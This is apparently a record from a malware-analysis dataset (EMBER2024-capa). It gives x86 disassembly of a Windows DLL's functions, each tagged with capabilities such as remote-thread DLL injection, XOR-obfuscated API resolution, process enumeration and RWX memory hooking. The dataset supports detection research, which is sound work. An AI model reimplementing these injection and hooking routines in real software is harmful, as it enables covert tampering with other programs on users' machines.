joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d750
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a848
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x1000d858
cmp byte [edi + 0x49], 0
je 0x1000d858
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1000d84c
lea esi, [ebp - 0x2c]
call fcn.1000dd30
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x1000d7c3
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000d7eb
dec eax
je 0x1000d7ef
sub eax, 2
lea esi, [ebp - 0x2c]
jne 0x1000d847
jmp 0x1000d853
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x1000d7ff
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x1000d829
cmp edx, 0x10
jae 0x1000d80e
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000d844
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x1000d850
test esi, esi
jne 0x1000d7b7
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.1000dc60
jmp 0x1000d7b1
lea esi, [ebp - 0x2c]
call fcn.1000ab20
xor al, al
jmp 0x1000d85a
lea esi, [ebp - 0x2c]
call fcn.1000ab20
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret
Function at 0x1000e040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, 0x76f14f26
lea eax, [ebp - 0x20]
call fcn.1000f420
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, 0x10020e68
sub ecx, 0x35b5523b
lea eax, [ebp - 0x34]
call fcn.1000a110
push eax
mov ecx, 0x10020e74
sub ecx, 0x477f543b
lea eax, [ebp - 0x24]
call fcn.1000a090
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x11183e28], eax
mov ecx, 0xc6
xor eax, eax
jmp 0x1000e0d0
mov dl, byte [eax + 0x100211d0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000e0d0
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x100211e0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000e0f3
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov dword [0x11183e2c], eax
mov ecx, 0x81
xor eax, eax
jmp 0x1000e130
mov dl, byte [eax + 0x100211f0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000e130
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x100211e0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000e153
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov edx, dword [0x11183e28]
mov dword [0x11183e30], eax
mov dword [0x11183e34], edx
call fcn.10018910
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10018df0
push 0x1000e790
push 0x11183e34
call fcn.100183c0
call fcn.10018980
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10019756
mov esp, ebp
pop ebp
ret
Function at 0x1000e1d0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.1001a160
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea ecx, [ebp - 0x1008]
xor ebx, ebx
push ecx
mov dword [ebp - 0x1014], ebx
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1000e222
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1014]
shr eax, 2
mov dword [ebp - 0x1010], ebx
mov dword [ebp - 0x100c], eax
cmp eax, ebx
jle 0x1000e32e
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1000e250
mov esi, dword [ebp + ebx*4 - 0x1008]
lea ecx, [ebp + ebx*4 - 0x1008]
mov dword [ebp - 0x101c], ecx
test esi, esi
je 0x1000e31f
push 0x11183e4c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x11183e68]
mov eax, dword [edx + 4]
cmp byte [eax + 0x19], 0
mov ecx, edx
jne 0x1000e29c
cmp dword [eax + 0xc], esi
jae 0x1000e292
mov eax, dword [eax + 8]
jmp 0x1000e296
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0x19], 0
je 0x1000e288
mov dword [ebp - 0x1018], ecx
cmp ecx, edx
je 0x1000e2b3
cmp esi, dword [ecx + 0xc]
jb 0x1000e2b3
lea eax, [ebp - 0x1018]
jmp 0x1000e2bf
mov dword [ebp - 0x1024], edx
lea eax, [ebp - 0x1024]
mov eax, dword [eax]
push 0x11183e4c
cmp eax, edx
je 0x1000e2e0
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x1020], edx
mov dword [ebp - 0x101c], eax
call edi
jmp 0x1000e319
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
call fcn.1000e700
mov ebx, dword [ebp - 0x101c]
mov esi, dword [ebx]
call fcn.1000e350
test al, al
je 0x1000e20f
mov ebx, dword [ebx]
call fcn.1000bd30
test al, al
je 0x1000e20f
mov ebx, dword [ebp - 0x1010]
mov eax, dword [ebp - 0x100c]
inc ebx
mov dword [ebp - 0x1010], ebx
cmp ebx, eax
jl 0x1000e250
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10019756
mov esp, ebp
pop ebp
ret
Function at 0x1000e420
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.1001a160
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x1000e471
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x1000e4d6
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x1000e4d1
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e4c8
test dl, dl
je 0x1000e4c4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e4c8
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e4a8
xor eax, eax
jmp 0x1000e4cd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e4ea
inc esi
cmp esi, edi
jl 0x1000e480
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
Function at 0x1000e500
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
push 0x1000
mov esi, ecx
push esi
push 0
push ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x1000e558
mov ecx, dword [ebp - 0x20]
push 0
push esi
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000e56c
push 0x8000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
push 0x10021200
mov edi, 0x3b8d2ccc
lea esi, [ebp - 0x14]
call fcn.1000f490
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
sete dl
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 8], cl
test dl, dl
je 0x1000e5cb
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
push 0x8000
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebp - 0x1c]
push 0
push 0
push esi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x1000e608
mov ecx, dword [ebp - 0x18]
push 0x8000
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
test eax, eax
je 0x1000e63a
mov edx, dword [ebp - 0x18]
push edx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x18]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10019756
mov esp, ebp
pop ebp
ret 4

Function at 0x1000f490
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf3
xor ecx, ecx
jmp 0x1000f4a0
mov al, byte [edi + ecx - 0x2b8b1aec]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x1000f4a0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10010550
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101303d8]
cmp eax, 0x927c0
jb 0x10010573
call esi
mov dword [0x101303d8], eax
cmp dword [0x10130394], 0
je 0x1001063e
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov eax, dword [0x101303a4]
mov ecx, dword [0x101303a8]
mov esi, eax
cmp eax, ecx
je 0x100105d0
push 0
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov dword [0x101303a8], esi
push 0
mov dword [0x11183b28], 0xffffffff
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0x10010270
push 0
push eax
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
test eax, eax
je 0x10010620
mov edx, dword [0x101303a4]
cmp edx, dword [0x101303a8]
je 0x10010620
push 0x101303a4
call fcn.10010650
mov eax, dword [ebp - 4]
add esp, 4
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret
push str.SOMETHING_WENT_WRONG._Terrible_sorry...
push 0
mov ecx, 0x10126530
call fcn.1000b630
mov eax, dword [ebp - 4]
add esp, 8
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010d70
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.____________________________________________________________________________________________________
push 0
mov ecx, 0x10126530
call fcn.1000b630
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0x14
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x111840f8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001d670]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x111840f8], cl
inc eax
cmp eax, 0x100
jb 0x10010df0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.1.7.0
push 0x111840f8
push 0
mov ecx, 0x10126530
call fcn.1000b630
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10019756
mov esp, ebp
pop ebp
ret
Function at 0x10011950
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0xcd
xor eax, eax
mov dl, byte [eax + 0x10021500]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0x1e
jb 0x10011967
lea eax, [ebp - 0x24]
push eax
push 0x1810
push 0
push 4
push 0
push 0xffffffffffffffff
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x11183b44], eax
sete al
test al, al
je 0x100119b9
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x11183b44]
push 0x1810
push 0
push 0
push 0xf001f
cmp eax, 0xb7
push ecx
setne bl
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x11183b40], eax
test eax, eax
jne 0x100119fd
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret
test bl, bl
je 0x10011a22
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 0xc08], 0
mov dword [eax + 0xc0c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [0x11183b3c], eax
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10019756
mov esp, ebp
pop ebp
ret

Function at 0x10011de0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, str.xQDWX
push esi
sub ecx, 0x405bdd07
lea eax, [ebp - 0x10]
call fcn.10012e00
push eax
mov ecx, 0x540c34d3
lea eax, [ebp - 0x1c]
call fcn.10012d80
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
test esi, esi
jne 0x10011e50
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x20]
push eax
push 0x40
push 6
push 0x11183b2c
call edi
mov ecx, dword [esi]
mov dword [0x11183b2c], ecx
mov ecx, dword [ebp - 0x20]
mov dx, word [esi + 4]
lea eax, [ebp - 0x20]
push eax
push ecx
push 6
push 0x11183b2c
mov word [0x11183b30], dx
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10019756
mov esp, ebp
pop ebp
ret

Function at 0x10012b40
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x55
xor ecx, ecx
jmp 0x10012b50
mov al, byte [edi + ecx + 0x363dbeac]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x10012b50
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10012b70
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf9
xor ecx, ecx
jmp 0x10012b80
mov al, byte [edi + ecx + 0xb12c02e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x10012b80
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10012ba0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x32
xor ecx, ecx
jmp 0x10012bb0
mov al, byte [edi + ecx + 0x3b0f89]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xd
jb 0x10012bb0
mov byte [esi + 0xd], 0
mov eax, esi
ret

Function at 0x10012bd0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x5b
xor ecx, ecx
jmp 0x10012be0
mov al, byte [edi + ecx - 0x6bcb0989]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x12
jb 0x10012be0
mov byte [esi + 0x12], 0
mov eax, esi
ret

Function at 0x10012c00
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x48
xor ecx, ecx
jmp 0x10012c10
mov al, byte [edi + ecx + 0x4568d847]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x10
jb 0x10012c10
mov byte [esi + 0x10], 0
mov eax, esi
ret

Function at 0x10012c30
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xa9
xor ecx, ecx
jmp 0x10012c40
mov al, byte [edi + ecx - 0x28bf4e57]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x10012c40
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x10012cf0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xbd
xor ecx, ecx
jmp 0x10012d00
mov al, byte [edi + ecx - 0x733fd3fa]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x15
jb 0x10012d00
mov byte [esi + 0x15], 0
mov eax, esi
ret

Function at 0x10012d20
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x8c
xor ecx, ecx
jmp 0x10012d30
mov al, byte [edi + ecx - 0x6a28ce74]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x15
jb 0x10012d30
mov byte [esi + 0x15], 0
mov eax, esi
ret

Function at 0x10012d50
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xb0
xor ecx, ecx
jmp 0x10012d60
mov al, byte [edi + ecx - 0x8dd1b28]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x10
jb 0x10012d60
mov byte [esi + 0x10], 0
mov eax, esi
ret
Function at 0x10013340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x10026018]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x100134b7
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x100134a7
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x10013430
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10013430
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x10013452
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013484
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
Function at 0x100134d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax + 4], edx
mov dword [eax + 0x1c], str.SPLASH
mov dword [eax + 0xc], edx
mov ecx, 0xc2
xor eax, eax
push ebx
lea ebx, [ebx]
mov bl, byte [eax + 0x10021578]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x20], bl
inc eax
and ecx, 0xff
cmp eax, 0x1a
jb 0x10013500
lea eax, [ebp - 0x20]
push eax
mov ecx, str.lin
sub ecx, 0x702b1031
lea eax, [ebp - 0x2c]
mov byte [ebp - 6], dl
call fcn.10013900
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x11183b48], eax
pop ebx
call fcn.10019756
mov esp, ebp
pop ebp
ret 4
Function at 0x10013b20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a718
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x11183e90], 0
je 0x10013bc2
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x11183e94]
cmp eax, 0x1388
jbe 0x10013bc2
push 0x11183ec8
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x10013bc2
call esi
mov dword [0x11183e94], eax
test eax, eax
je 0x10013bb7
call fcn.10013a60
test al, al
jne 0x10013bb7
mov edi, 0x10020be0
sub edi, 0x79ddc0fb
lea esi, [ebp - 0x30]
call fcn.10009d60
push eax
push 2
mov eax, 0x10130630
mov dword [ebp - 4], 0
call fcn.10014970
add esp, 8
jmp 0x10013bc2
push 0x11183ec8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019756
mov esp, ebp
pop ebp
ret

Function at 0x100145f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push eax
mov ecx, 0x10004310
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], ecx
call edi
pop edi
mov esp, ebp
pop ebp
ret